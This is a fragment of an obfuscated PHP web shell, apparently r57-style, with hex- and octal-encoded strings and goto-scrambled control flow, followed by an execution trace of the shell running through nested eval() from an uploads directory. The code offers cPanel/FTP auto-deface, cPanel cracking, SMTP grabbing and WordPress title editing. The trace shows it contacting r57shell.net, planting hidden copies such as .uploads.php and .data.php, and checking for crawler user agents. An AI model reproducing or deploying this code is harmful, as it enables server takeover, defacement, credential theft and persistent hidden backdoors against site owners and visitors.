\\xa\\xd\\xa\\15\\xa\\40\\142\\141\\x63\\153\\147\\162\\157\\165\\156\\144\\55\\x73\\x69\\172\\x65\\x3a\\x20\\x63\\x6f\\166\\x65\\162\\73\\xd\\12\\15\\xa\\15\\xa\\xd\\xa\\x20\\142\\141\\143\\x6b\\x67\\x72\\x6f\\x75\\156\\144\\55\\141\\164\\x74\\x61\\x63\\150\\155\\145\\x6e\\x74\\x3a\\x66\\151\\170\\x65\\x64\\x3b\\15\\xa\\xd\\xa\\15\\xa\\15\\xa\\x9\\143\\x6f\\154\\157\\x72\\x3a\\x77\\150\\x69\\x74\\145\\x3b\\15\\12\\15\\xa\\15\\xa\\15\\xa\\11\\146\\157\\x6e\\164\\x2d\\x73\\151\\x7a\\145\\72\\x31\\63\\x70\\170\\x3b\\xd\\12\\xd\\xa\\xd\\xa\\xd\\12\\11\\146\\157\\156\\x74\\x2d\\x66\\141\\x6d\\x69\\154\\x79\\72\\x20\\42\\114\\141\\164\\x6f\\42\\x2c\\x22\\110\\x65\\x6c\\x76\\145\\x74\\151\\143\\141\\40\\116\\x65\\x75\\x65\\x22\\x2c\\110\\x65\\x6c\\x76\\145\\x74\\x69\\143\\x61\\54\\x41\\x72\\x69\\141\\x6c\\54\\x73\\x61\\x6e\\163\\55\\163\\145\\162\\151\\146\\73\\xd\\12\\15\\xa\\xd\\xa\\15\\xa\\x7d\\xd\\12\\150\\x31\\x7b\\15\\xa\\11\\143\\x6f\\154\\157\\x72\\x3a\\43\\61\\x38\\102\\x43\\x39\\103\\x3b\\15\\xa\\xd\\xa\\15\\12\\xd\\xa\\x7d\\15\\12\\x6c\\x69\\x20\\x7b\\15\\xa\\11\\144\\151\\x73\\160\\154\\x61\\171\\x3a\\40\\151\\x6e\\154\\x69\\156\\145\\x3b\\xd\\12\\15\\xa\\xd\\xa\\15\\12\\x9\\x6d\\141\\x72\\x67\\x69\\x6e\\72\\x20\\x35\\x70\\x78\\73\\xd\\12\\15\\xa\\xd\\12\\15\\xa\\x9\\x70\\141\\144\\x64\\151\\156\\147\\x3a\\x20\\x35\\160\\170\\73\\15\\12\\xd\\xa\\xd\\12\\15\\12\\175\\15\\12\\x74\\x61\\x62\\x6c\\145\\x2c\\40\\x74\\x68\\x2c\\x20\\164\\x64\\x20\\x7b\\xd\\12\\x9\\x62\\157\\162\\x64\\145\\x72\\x2d\\x63\\157\\x6c\\x6c\\141\\160\\163\\145\\x3a\\x63\\x6f\\x6c\\x6c\\x61\\x70\\163\\145\\73\\xd\\xa\\15\\12\\xd\\12\\xd\\xa\\x9\\146\\x6f\\x6e\\x74\\55\\146\\x61\\155\\151\\154\\171\\72\\x20\\x54\\141\\150\\157\\155\\141\\x2c\\x20\\107\\x65\\156\\x65\\166\\x61\\54\\40\\163\\141\\156\\163\\x2d\\163\\145\\162\\x69\\x66\\73\\15\\12\\15\\xa\\xd\\xa\\15\\xa\\x9\\142\\x61\\x63\\153\\147\\x72\\x6f\\x75\\x6e\\144\\x3a\\40\\x74\\162\\141\\x6e\\163\\x70\\x61\\x72\\x65\\156\\164\\73\\15\\xa\\15\\xa\\xd\\xa\\xd\\xa\\11\\x66\\157\\x6e\\164\\x2d\\146\\x61\\155\\151\\154\\x79\\x3a\\40\\47\\x55\\x62\\x75\\x6e\\164\\x75\\x27\\73\\15\\12\\xd\\xa\\xd\\xa\\15\\xa\\11\\146\\x6f\\x6e\\164\\x2d\\163\\151\\172\\x65\\72\\40\\61\\x33\\x70\\x78\\73\\15\\xa\\15\\12\\xd\\xa\\xd\\12\\x9\\x70\\141\\144\\144\\x69\\x6e\\147\\72\\x20\\65\\x70\\x78\\73\\xd\\xa\\xd\\12\\15\\xa\\15\\12\\x7d\\15\\xa\\x2e\\164\\x61\\x62\\x6c\\x65\\137\\150\\x6f\\155\\145\\54\\x20\\x2e\\x74\\x64\\137\\150\\157\\155\\x65\\x20\\x7b\\xd\\12\\11\\x62\\157\\162\\144\\x65\\162\\x3a\\x20\\61\\160\\170\\40\\x73\\157\\154\\x69\\144\\40\\43\\61\\70\\x42\\x43\\71\\103\\x3b\\15\\xa\\15\\xa\\xd\\12\\15\\xa\\175\\xd\\xa\\x2e\\x74\\x64\\x5f\\150\\x6f\\x6d\\145\\x3a\\150\\x6f\\x76\\145\\162\\40\\173\\xd\\xa\\11\\x62\\x61\\x63\\x6b\\147\\x72\\157\\165\\156\\x64\\x3a\\147\\x72\\x65\\171\\x3b\\xd\\12\\15\\xa\\xd\\xa\\xd\\xa\\x7d\\15\\12\\x2e\\x74\\x68\\x5f\\150\\157\\x6d\\x65\\173\\xd\\xa\\11\\160\\x61\\x64\\144\\x69\\156\\x67\\72\\x20\\x35\\x70\\170\\x3b\\xd\\12\\15\\12\\xd\\12\\xd\\xa\\x9\\x62\\x6f\\x72\\x64\\x65\\x72\\x3a\\40\\61\\160\\x78\\x20\\x73\\x6f\\154\\151\\144\\x20\\43\\61\\70\\x42\\103\\71\\103\\x3b\\15\\12\\15\\12\\xd\\12\\xd\\xa\\11\\142\\x61\\x63\\x6b\\x67\\x72\\x6f\\165\\156\\x64\\x3a\\43\\61\\70\\x42\\x43\\x39\\x43\\x3b\\xd\\xa\\xd\\xa\\xd\\xa\\xd\\xa\\175\\xd\\xa\\x74\\150\\x20\\173\\15\\xa\\11\\x70\\x61\\x64\\144\\x69\\x6e\\147\\x3a\\x20\\x31\\x35\\160\\x78\\x3b\\15\\12\\15\\12\\xd\\12\\15\\xa\\175\\15\\xa\\141\\40\\173\\xd\\xa\\11\\143\\157\\154\\x6f\\x72\\x3a\\x20\\x23\\146\\x66\\x66\\x66\\x66\\146\\x3b\\15\\xa\\xd\\12\\xd\\12\\xd\\12\\x7d\\15\\12\\15\\xa\\151\\x6e\\x70\\165\\x74\\133\\164\\171\\x70\\145\\75\\164\\x65\\170\\x74\\x5d\\54\\x20\\151\\156\\160\\165\\164\\133\\x74\\171\\x70\\145\\x3d\\x70\\141\\x73\\163\\167\\x6f\\x72\\x64\\135\\x7b\\xd\\xa\\11\\142\\x61\\143\\153\\147\\x72\\157\\165\\156\\x64\\72\\x20\\x74\\x72\\x61\\x6e\\x73\\x70\\141\\162\\145\\x6e\\x74\\73\\15\\xa\\15\\12\\15\\12\\x20\\xd\\xa\\11\\x63\\x6f\\154\\x6f\\162\\x3a\\x20\\x77\\x68\\x69\\x74\\145\\x3b\\15\\12\\xd\\12\\15\\12\\40\\15\\xa\\11\\142\\x6f\\162\\144\\145\\162\\x3a\\40\\x31\\x70\\170\\40\\163\\x6f\\x6c\\x69\\144\\x20\\x23\\61\\70\\102\\103\\71\\103\\x3b\\15\\12\\xd\\12\\xd\\xa\\40\\xd\\xa\\x9\\155\\141\\162\\147\\x69\\x6e\\x3a\\40\\65\\x70\\x78\\x20\\141\\x75\\x74\\x6f\\73\\15\\xa\\xd\\12\\xd\\12\\15\\12\\11\\x70\\x61\\x64\\x64\\151\\x6e\\147\\55\\x6c\\145\\146\\164\\72\\40\\x35\\x70\\170\\73\\15\\xa\\15\\xa\\15\\12\\15\\12\\11\\146\\x6f\\x6e\\164\\x2d\\146\\141\\155\\x69\\x6c\\x79\\x3a\\x20\\x27\\125\\142\\165\\156\\x74\\x75\\47\\x3b\\xd\\12\\15\\xa\\xd\\12\\xd\\xa\\x9\\146\\x6f\\156\\164\\55\\x73\\151\\x7a\\x65\\x3a\\x20\\61\\x33\\x70\\x78\\x3b\\xd\\12\\15\\12\\xd\\xa\\15\\xa\\x7d\\xd\\12\\x69\\x6e\\160\\x75\\x74\\133\\x74\\x79\\160\\145\\75\\x73\\165\\x62\\155\\151\\164\\x5d\\x7b\\xd\\xa\\11\\143\\157\\x6c\\x6f\\162\\72\\x20\\167\\x68\\151\\x74\\x65\\73\\15\\12\\xd\\xa\\xd\\12\\40\\xd\\xa\\x9\\x62\\x6f\\x72\\144\\x65\\x72\\72\\x20\\61\\160\\x78\\40\\163\\157\\154\\x69\\144\\40\\43\\x31\\x38\\x42\\x43\\71\\103\\73\\xd\\xa\\xd\\12\\xd\\xa\\40\\xd\\12\\11\\155\\x61\\162\\x67\\151\\x6e\\72\\40\\x35\\x70\\x78\\73\\15\\12\\15\\xa\\xd\\xa\\15\\12\\x9\\x70\\141\\x64\\x64\\151\\x6e\\x67\\x3a\\x20\\x33\\160\\170\\x20\\61\\65\\160\\x78\\x3b\\15\\xa\\15\\xa\\15\\xa\\xd\\12\\11\\146\\x6f\\x6e\\164\\x2d\\x66\\x61\\x6d\\x69\\154\\x79\\72\\40\\x27\\x55\\142\\165\\x6e\\x74\\165\\47\\x3b\\xd\\12\\xd\\xa\\xd\\xa\\15\\xa\\11\\x66\\157\\x6e\\164\\55\\163\\151\\x7a\\x65\\72\\x20\\61\\63\\160\\170\\73\\15\\12\\15\\12\\xd\\xa\\15\\12\\175\\15\\xa\\164\\x65\\x78\\x74\\141\\x72\\x65\\141\\40\\173\\xd\\12\\x9\\142\\x6f\\162\\144\\x65\\162\\x3a\\x20\\x31\\x70\\x78\\40\\163\\x6f\\154\\x69\\144\\40\\x23\\61\\x38\\102\\x43\\71\\x43\\73\\15\\xa\\15\\xa\\xd\\12\\xd\\12\\11\\x77\\x69\\144\\164\\x68\\72\\x20\\61\\60\\60\\x25\\x3b\\15\\12\\15\\xa\\15\\12\\xd\\xa\\11\\150\\145\\151\\147\\x68\\164\\72\\40\\x34\\x30\\x30\\160\\x78\\x3b\\15\\xa\\15\\xa\\xd\\12\\15\\12\\11\\x70\\141\\x64\\x64\\x69\\x6e\\x67\\55\\x6c\\x65\\x66\\x74\\x3a\\40\\x35\\x70\\170\\x3b\\xd\\12\\xd\\12\\15\\12\\xd\\xa\\11\\x6d\\x61\\162\\147\\151\\156\\x3a\\40\\61\\x30\\x70\\x78\\x20\\x61\\165\\164\\157\\x3b\\15\\xa\\15\\12\\xd\\12\\15\\12\\11\\162\\x65\\x73\\x69\\x7a\\x65\\72\\40\\x6e\\157\\156\\145\\x3b\\xd\\12\\15\\12\\15\\xa\\15\\xa\\11\\142\\x61\\x63\\153\\147\\162\\157\\x75\\x6e\\x64\\x3a\\x20\\164\\162\\x61\\156\\163\\x70\\x61\\x72\\x65\\156\\x74\\x3b\\15\\xa\\15\\xa\\15\\12\\15\\xa\\x9\\143\\157\\154\\x6f\\162\\72\\40\\43\\146\\146\\x66\\x66\\146\\146\\73\\xd\\xa\\15\\xa\\15\\xa\\15\\12\\11\\146\\x6f\\156\\164\\55\\x66\\141\\x6d\\x69\\x6c\\171\\72\\x20\\47\\x55\\x62\\x75\\156\\x74\\165\\47\\x3b\\15\\12\\15\\12\\15\\12\\15\\xa\\11\\146\\x6f\\156\\164\\55\\x73\\151\\x7a\\x65\\x3a\\x20\\61\\63\\x70\\x78\\x3b\\15\\12\\xd\\12\\15\\12\\xd\\xa\\x7d\\15\\xa\\163\\145\\154\\145\\x63\\x74\\x20\\x7b\\15\\xa\\11\\x77\\x69\\x64\\x74\\150\\x3a\\40\\61\\65\\x32\\160\\x78\\73\\15\\xa\\15\\xa\\xd\\12\\xd\\12\\x9\\x62\\x61\\x63\\x6b\\x67\\162\\157\\165\\156\\x64\\x3a\\x20\\43\\60\\x30\\x30\\x30\\x30\\60\\x3b\\xd\\12\\xd\\xa\\15\\12\\40\\15\\12\\11\\x63\\157\\154\\x6f\\x72\\72\\40\\43\\61\\70\\x42\\103\\71\\x43\\73\\15\\12\\xd\\12\\15\\xa\\x20\\xd\\xa\\x9\\142\\157\\x72\\x64\\145\\x72\\x3a\\x20\\x31\\160\\x78\\40\\163\\x6f\\x6c\\151\\x64\\40\\x23\\x66\\x66\\x66\\x66\\x66\\x66\\73\\15\\xa\\15\\xa\\15\\xa\\x20\\xd\\12\\11\\x6d\\141\\162\\147\\151\\156\\72\\40\\x35\\x70\\x78\\x20\\x61\\x75\\x74\\157\\73\\xd\\12\\xd\\xa\\xd\\xa\\15\\12\\11\\160\\141\\144\\x64\\151\\x6e\\147\\55\\x6c\\145\\x66\\x74\\72\\40\\x35\\x70\\170\\73\\15\\xa\\15\\xa\\xd\\12\\15\\xa\\11\\146\\157\\156\\164\\55\\146\\x61\\155\\x69\\154\\x79\\72\\40\\x27\\125\\142\\x75\\x6e\\x74\\165\\47\\x3b\\15\\xa\\15\\xa\\xd\\12\\xd\\12\\x9\\146\\x6f\\156\\x74\\x2d\\x73\\x69\\x7a\\145\\x3a\\40\\x31\\63\\x70\\170\\73\\15\\12\\xd\\xa\\xd\\12\\15\\xa\\x7d\\15\\12\\x6f\\160\\164\\151\\157\\156\\x3a\\150\\157\\166\\145\\162\\40\\x7b\\xd\\xa\\x9\\142\\141\\x63\\153\\x67\\162\\x6f\\x75\\x6e\\144\\72\\40\\43\\61\\x38\\x42\\x43\\71\\x43\\x3b\\xd\\xa\\xd\\12\\15\\12\\xd\\12\\x9\\143\\x6f\\x6c\\x6f\\162\\72\\x20\\x23\\x30\\60\\60\\x30\\60\\x30\\x3b\\15\\12\\xd\\12\\xd\\xa\\xd\\xa\\175\\xd\\xa\\74\\57\\163\\164\\171\\x6c\\x65\\76\\xd\\12\\x3c\\57\\x68\\x65\\141\\144\\76\\xd\\xa\\15\\xa\\15\\12\\xd\\12"; goto iVROW; BJh6i: echo "\\x3c\\x61\\x20\\x73\\x74\\x79\\x6c\\x65\\75\\155\\x61\\162\\x67\\151\\x6e\\72\\x33\\160\\170\\73\\xd\\xa\\xd\\12\\xd\\12\\x9\\143\\x6c\\x61\\163\\163\\x3d\\x27\\x62\\164\\156\\40\\x62\\x74\\x6e\\55\\x73\\x75\\x63\\143\\145\\163\\163\\40\\142\\164\\156\\55\\x73\\x6d\\47\\40\\x73\\x74\\x79\\x6c\\145\\75\\47\\x63\\157\\x6c\\157\\162\\72\\40\\x72\\x65\\x64\\73\\xd\\12\\15\\12\\15\\12\\47\\x20\\x68\\162\\x65\\x66\\x3d\\47\\x3f\\x6c\\157\\147\\157\\165\\x74\\x3d\\x74\\162\\x75\\145\\47\\76\\x4c\\157\\147\\x6f\\x75\\x74\\74\\x2f\\141\\76\\74\\x2f\\x6c\\x69\\x3e"; goto cWeWB; bm5TY: $default_use_ajax = true; goto Irdws; fglz9: $curl = function_exists("\\143\\x75\\x72\\x6c\\x5f\\x76\\x65\\162\\163\\151\\x6f\\x6e") ? "\\x3c\\x66\\157\\x6e\\164\\x20\\143\\157\\x6c\\x6f\\x72\\75\\x23\\x31\\x38\\102\\103\\71\\103\\76\\x4f\\x4e\\74\\57\\146\\157\\156\\x74\\x3e" : "\\x3c\\146\\157\\x6e\\164\\40\\x63\\x6f\\x6c\\157\\162\\x3d\\162\\x65\\144\\76\\x4f\\x46\\x46\\74\\x2f\\x66\\x6f\\156\\164\\x3e"; goto iISnc; YBq0D: @clearstatcache(); goto KAQ86; z7xcD: echo "\\x3c\\x61\\40\\163\\164\\x79\\154\\145\\75\\155\\141\\x72\\147\\151\\156\\72\\x33\\160\\x78\\73\\15\\12\\xd\\xa\\xd\\12\\x9\\x63\\x6c\\x61\\163\\163\\75\\47\\142\\x74\\156\\40\\142\\x74\\156\\x2d\\163\\x75\\143\\x63\\x65\\x73\\163\\40\\x62\\x74\\156\\x2d\\x73\\x6d\\x27\\40\\150\\x72\\x65\\x66\\x3d\\47\\77\\144\\151\\x72\\75{$dir}\\46\\x64\\x6f\\75\\143\\x70\\146\\164\\x70\\x5f\\141\\165\\x74\\x6f\\47\\76\\103\\x50\\x61\\156\\145\\154\\57\\x46\\x54\\x50\\40\\101\\165\\164\\157\\40\\x44\\x65\\146\\141\\143\\145\\x3c\\57\\141\\76\\x3c\\57\\x6c\\x69\\x3e"; goto GsZlr; q56zM: $total = hdd(disk_total_space("\\57")); goto cVvi1; CYhdc: foreach ($scdir as $c_dir => $cdir) { goto r7EsB; XP7Bd: for ($i = 0; $i <= $c_dir; $i++) { echo "{$scdir[$i]}"; if ($i != $c_dir) { echo "\\x2f"; } } goto OupLF; OupLF: echo "\\x27\\x3e{$cdir}\\74\\x2f\\141\\76\\57"; goto u1wDe; r7EsB: echo "\\x3c\\x61\\x20\\150\\x72\\145\\146\\x3d\\x27\\77\\x64\\151\\x72\\x3d"; goto XP7Bd; u1wDe: } goto m_nvx; LdhOz: echo "\\74\\165\\154\\76"; goto E0k5P; hB1Uk: echo "\\x3c\\x61\\x20\\x73\\164\\171\\x6c\\x65\\x3d\\155\\141\\162\\x67\\151\\x6e\\72\\x33\\x70\\170\\x3b\\15\\xa\\15\\xa\\15\\xa\\x9\\143\\154\\x61\\163\\163\\75\\x27\\x62\\x74\\156\\40\\x62\\164\\156\\x2d\\x73\\x75\\x63\\143\\x65\\x73\\x73\\x20\\x62\\164\\156\\55\\163\\x6d\\x27\\40\\x68\\162\\145\\146\\x3d\\47\\77\\x64\\x69\\162\\x3d{$dir}\\46\\144\\157\\x3d\\163\\155\\x74\\160\\x27\\76\\123\\115\\x54\\120\\x20\\x47\\x72\\x61\\x62\\x62\\x65\\162\\x3c\\x2f\\x61\\76\\x3c\\x2f\\154\\x69\\x3e"; goto nKw0o; m_nvx: echo "\\x26\\156\\x62\\163\\x70\\x3b\\15\\12\\xd\\xa\\15\\xa\\x26\\x6e\\142\\163\\160\\73\\xd\\12\\15\\xa\\xd\\12\\133\\40" . w($dir, perms($dir)) . "\\x20\\x5d\\x20\\x3c\\x62\\x72\\x3e"; goto zvKb7; E0k5P: echo "\\x3c\\141\\40\\163\\164\\x79\\154\\x65\\75\\x6d\\x61\\x72\\x67\\x69\\x6e\\72\\x33\\160\\170\\73\\15\\xa\\15\\12\\15\\12\\40\\11\\x63\\x6c\\x61\\163\\163\\75\\x27\\142\\164\\156\\x20\\142\\164\\156\\x2d\\163\\165\\x63\\143\\x65\\x73\\163\\40\\142\\164\\156\\55\\x73\\x6d\\47\\40\\x68\\x72\\x65\\x66\\75\\47\\x3f\\x27\\76\\x48\\157\\x6d\\x65\\74\\x2f\\141\\76\\x3c\\57\\154\\151\\x3e"; goto BGSEQ; S0IH_: echo "\\x3c\\x2f\\x63\\145\\156\\164\\x65\\162\\x3e"; goto HsWmD; Irdws: $default_charset = "\\x55\\124\\x46\\55\\x38"; goto ljbr0; MR3FG: echo "\\x3c\\x61\\40\\x73\\x74\\171\\154\\145\\75\\x6d\\x61\\x72\\147\\151\\156\\72\\63\\x70\\x78\\x3b\\xd\\12\\15\\12\\15\\12\\x9\\143\\154\\x61\\x73\\163\\x3d\\x27\\142\\x74\\156\\x20\\x62\\164\\x6e\\55\\x73\\165\\143\\143\\145\\x73\\x73\\40\\x62\\164\\x6e\\x2d\\x73\\x6d\\x27\\x20\\150\\x72\\x65\\146\\75\\47\\x3f\\x64\\151\\x72\\75{$dir}\\x26\\144\\157\\75\\141\\x75\\164\\157\\137\\167\\160\\47\\x3e\\101\\165\\x74\\157\\40\\105\\144\\x69\\x74\\x20\\x54\\x69\\x74\\154\\145\\x20\\127\\x6f\\162\\144\\x50\\162\\x65\\x73\\x73\\x3c\\57\\141\\x3e\\74\\x2f\\154\\151\\76"; goto sW5xx; cVvi1: $used = $total - $freespace; goto xZ6To; XBsTK: set_time_limit(0); goto YBq0D; GKBVJ: if (get_magic_quotes_gpc()) { goto ZwQHe; lTZ5b: $_POST = idx_ss($_POST); goto R2Mr3; ZwQHe: function idx_ss($array) { return is_array($array) ? array_map("\\151\\144\\x78\\137\\x73\\x73", $array) : stripslashes($array); } goto lTZ5b; R2Mr3: $_COOKIE = idx_ss($_COOKIE); goto Q8bdn; Q8bdn: } goto GpH5q; VwhaK: $ds = @ini_get("\\144\\x69\\163\\x61\\142\\154\\145\\137\\x66\\165\\x6e\\143\\x74\\151\\x6f\\156\\163"); goto F6Gl8; QQAj4: echo "\\74\\x61\\x20\\x73\\164\\x79\\154\\x65\\75\\x6d\\x61\\162\\147\\x69\\156\\x3a\\x33\\x70\\170\\73\\15\\xa\\15\\12\\xd\\12\\x9\\x63\\154\\141\\163\\163\\x3d\\47\\142\\164\\156\\x20\\142\\164\\x6e\\x2d\\163\\x75\\x63\\143\\x65\\x73\\163\\40\\142\\x74\\x6e\\x2d\\163\\155\\x27\\40\\x68\\162\\x65\\x66\\x3d\\x27\\x3f\\x64\\151\\x72\\x3d{$dir}\\46\\144\\157\\x3d\\143\\160\\x61\\156\\x65\\154\\x27\\76\\x43\\120\\141\\156\\145\\x6c\\x20\\103\\162\\x61\\143\\153\\74\\x2f\\x61\\76\\74\\57\\154\\x69\\76"; goto hB1Uk; sFfJJ: echo "\\x3c\\57\\x68\\x74\\155\\154\\76";' /var/www/html/uploads/i.php(5) : eval()'d code 1 0 4 13 0 0.025222 1468456 session_start 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 4 13 1 0.025379 1469208 4 13 R TRUE 4 14 0 0.025401 1469208 error_reporting 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 0 4 14 1 0.025422 1469248 4 14 R 22527 4 15 0 0.025443 1469208 set_time_limit 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 0 4 15 1 0.025471 1469272 4 15 R FALSE 4 16 0 0.025491 1469240 clearstatcache 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 4 16 1 0.025510 1469240 4 16 R NULL 4 17 0 0.025530 1469240 ini_set 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 'error_log' NULL 4 17 1 0.025553 1469312 4 17 R '' 4 18 0 0.025572 1469240 ini_set 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 'log_errors' 0 4 18 1 0.025593 1469312 4 18 R '1' 4 19 0 0.025611 1469240 ini_set 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 'max_execution_time' 0 4 19 1 0.025631 1469280 4 19 R '0' 4 20 0 0.025650 1469208 ini_set 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 'output_buffering' 0 4 20 1 0.025672 1469280 4 20 R FALSE 4 21 0 0.025691 1469208 ini_set 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 'display_errors' 0 4 21 1 0.025711 1469280 4 21 R '' 4 22 0 0.025730 1469208 function_exists 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 'wp_core_version_check' 4 22 1 0.025755 1469248 4 22 R FALSE 4 23 0 0.025775 1469208 wp_core_version_check 1 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $document_file = '/var/www/html/uploads/i.php' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $request_uri = '/uploads/i.php' 5 24 0 0.025841 1469208 parse_url 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/uploads/i.php' 5 24 1 0.025864 1469656 5 24 R ['path' => '/uploads/i.php'] 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $parse_url = ['path' => '/uploads/i.php'] 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $uri_path = '/uploads/i.php' 5 25 0 0.025921 1469624 dirname 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/uploads/i.php' 5 25 1 0.025940 1469696 5 25 R '/uploads' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $uri_path = '/uploads' 5 26 0 0.025975 1469664 dirname 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/i.php' 5 26 1 0.025994 1469752 5 26 R '/var/www/html/uploads' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $file_path = '/var/www/html/uploads' 5 27 0 0.026033 1469720 str_replace 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 3 '/' '/' '/uploads' 5 27 1 0.026058 1469856 5 27 R '/uploads' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $uri_path = '/uploads' 5 28 0 0.026137 1469720 str_replace 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 3 '/uploads' '' '/var/www/html/uploads' 5 28 1 0.026196 1469856 5 28 R '/var/www/html' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $document_root = '/var/www/html' 5 29 0 0.026236 1469760 str_replace 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 3 'www.' '' 'localhost' 5 29 1 0.026257 1469856 5 29 R 'localhost' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $hostname = 'localhost' 5 30 0 0.026301 1469760 sys_get_temp_dir 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 5 30 1 0.026322 1469800 5 30 R '/tmp' 5 31 0 0.026341 1469800 is_writable 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/tmp' 5 31 1 0.026370 1469840 5 31 R TRUE 5 32 0 0.026389 1469768 sys_get_temp_dir 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 5 32 1 0.026407 1469800 5 32 R '/tmp' 5 33 0 0.026427 1469872 md5 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 'localhost_/var/www/html/uploads/i.php' 5 33 1 0.026449 1469968 5 33 R 'b61675c6c6f10d601ab7bc094d8aae8b' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $tmp_file = '/tmp/sess_b61675c6c6f10d601ab7bc094d8aae8b' 5 34 0 0.026493 1469848 file_exists 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/tmp/sess_b61675c6c6f10d601ab7bc094d8aae8b' 5 34 1 0.026525 1469888 5 34 R FALSE 5 35 0 0.026545 1469848 function_exists 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 'curl_init' 5 35 1 0.026566 1469888 5 35 R TRUE 5 36 0 0.026584 1469848 curl_init 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 0 5 36 1 0.026614 1470760 5 36 R resource(3) of type (curl) 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $ch = resource(3) of type (curl) 5 37 0 0.026654 1470760 curl_setopt 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 3 resource(3) of type (curl) 10002 'http://r57shell.net/jquery.php?v=1.2&request=enable' 5 37 1 0.026679 1470856 5 37 R TRUE 5 38 0 0.026698 1470760 curl_setopt 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 3 resource(3) of type (curl) 19913 1 5 38 1 0.026721 1470856 5 38 R TRUE 5 39 0 0.026741 1470808 curl_setopt 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 3 resource(3) of type (curl) 10016 'localhost/uploads/i.php' 5 39 1 0.026763 1470904 5 39 R TRUE 5 40 0 0.026783 1470760 curl_exec 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 resource(3) of type (curl) 5 40 1 0.170628 1474888 5 40 R ' '/var/www/html/uploads'] 5 45 0 0.171225 1474504 array_filter 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 [0 => '/var/www/html/uploads'] 5 45 1 0.171253 1474912 5 45 R [0 => '/var/www/html/uploads'] 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $dirs = [0 => '/var/www/html/uploads'] 5 46 0 0.171283 1474552 basename 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads' 5 46 1 0.171300 1474616 5 46 R 'uploads' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $file_name = '/var/www/html/uploads/.uploads.php' 5 47 0 0.171327 1474568 file_put_contents 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 '/var/www/html/uploads/.uploads.php' ' '/var/www/html/uploads/data'] 5 49 0 0.171445 1475000 array_filter 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 [0 => '/var/www/html/uploads/data'] 5 49 1 0.171460 1475408 5 49 R [0 => '/var/www/html/uploads/data'] 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $dirs = [0 => '/var/www/html/uploads/data'] 5 50 0 0.171488 1475000 preg_match 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 '#wp-content#' '/var/www/html/uploads/data' 5 50 1 0.171531 1475064 5 50 R 0 5 51 0 0.171545 1475056 basename 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 5 51 1 0.171560 1475120 5 51 R 'data' 4 A /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 $file_name = '/var/www/html/uploads/data/.data.php' 5 52 0 0.171585 1475000 file_put_contents 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : eval()'d code 2 2 '/var/www/html/uploads/data/.data.php' ' 'Googlebot', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'PycURL', 4 => 'facebookexternalhit', 5 => 'ia_archiver', 6 => 'crawler', 7 => 'Yandex', 8 => 'Rambler', 9 => 'Yahoo! Slurp', 10 => 'YahooSeeker', 11 => 'bingbot'] 4 53 0 0.171740 1469328 implode 0 /var/www/html/uploads/i.php(5) : eval()'d code(1) : 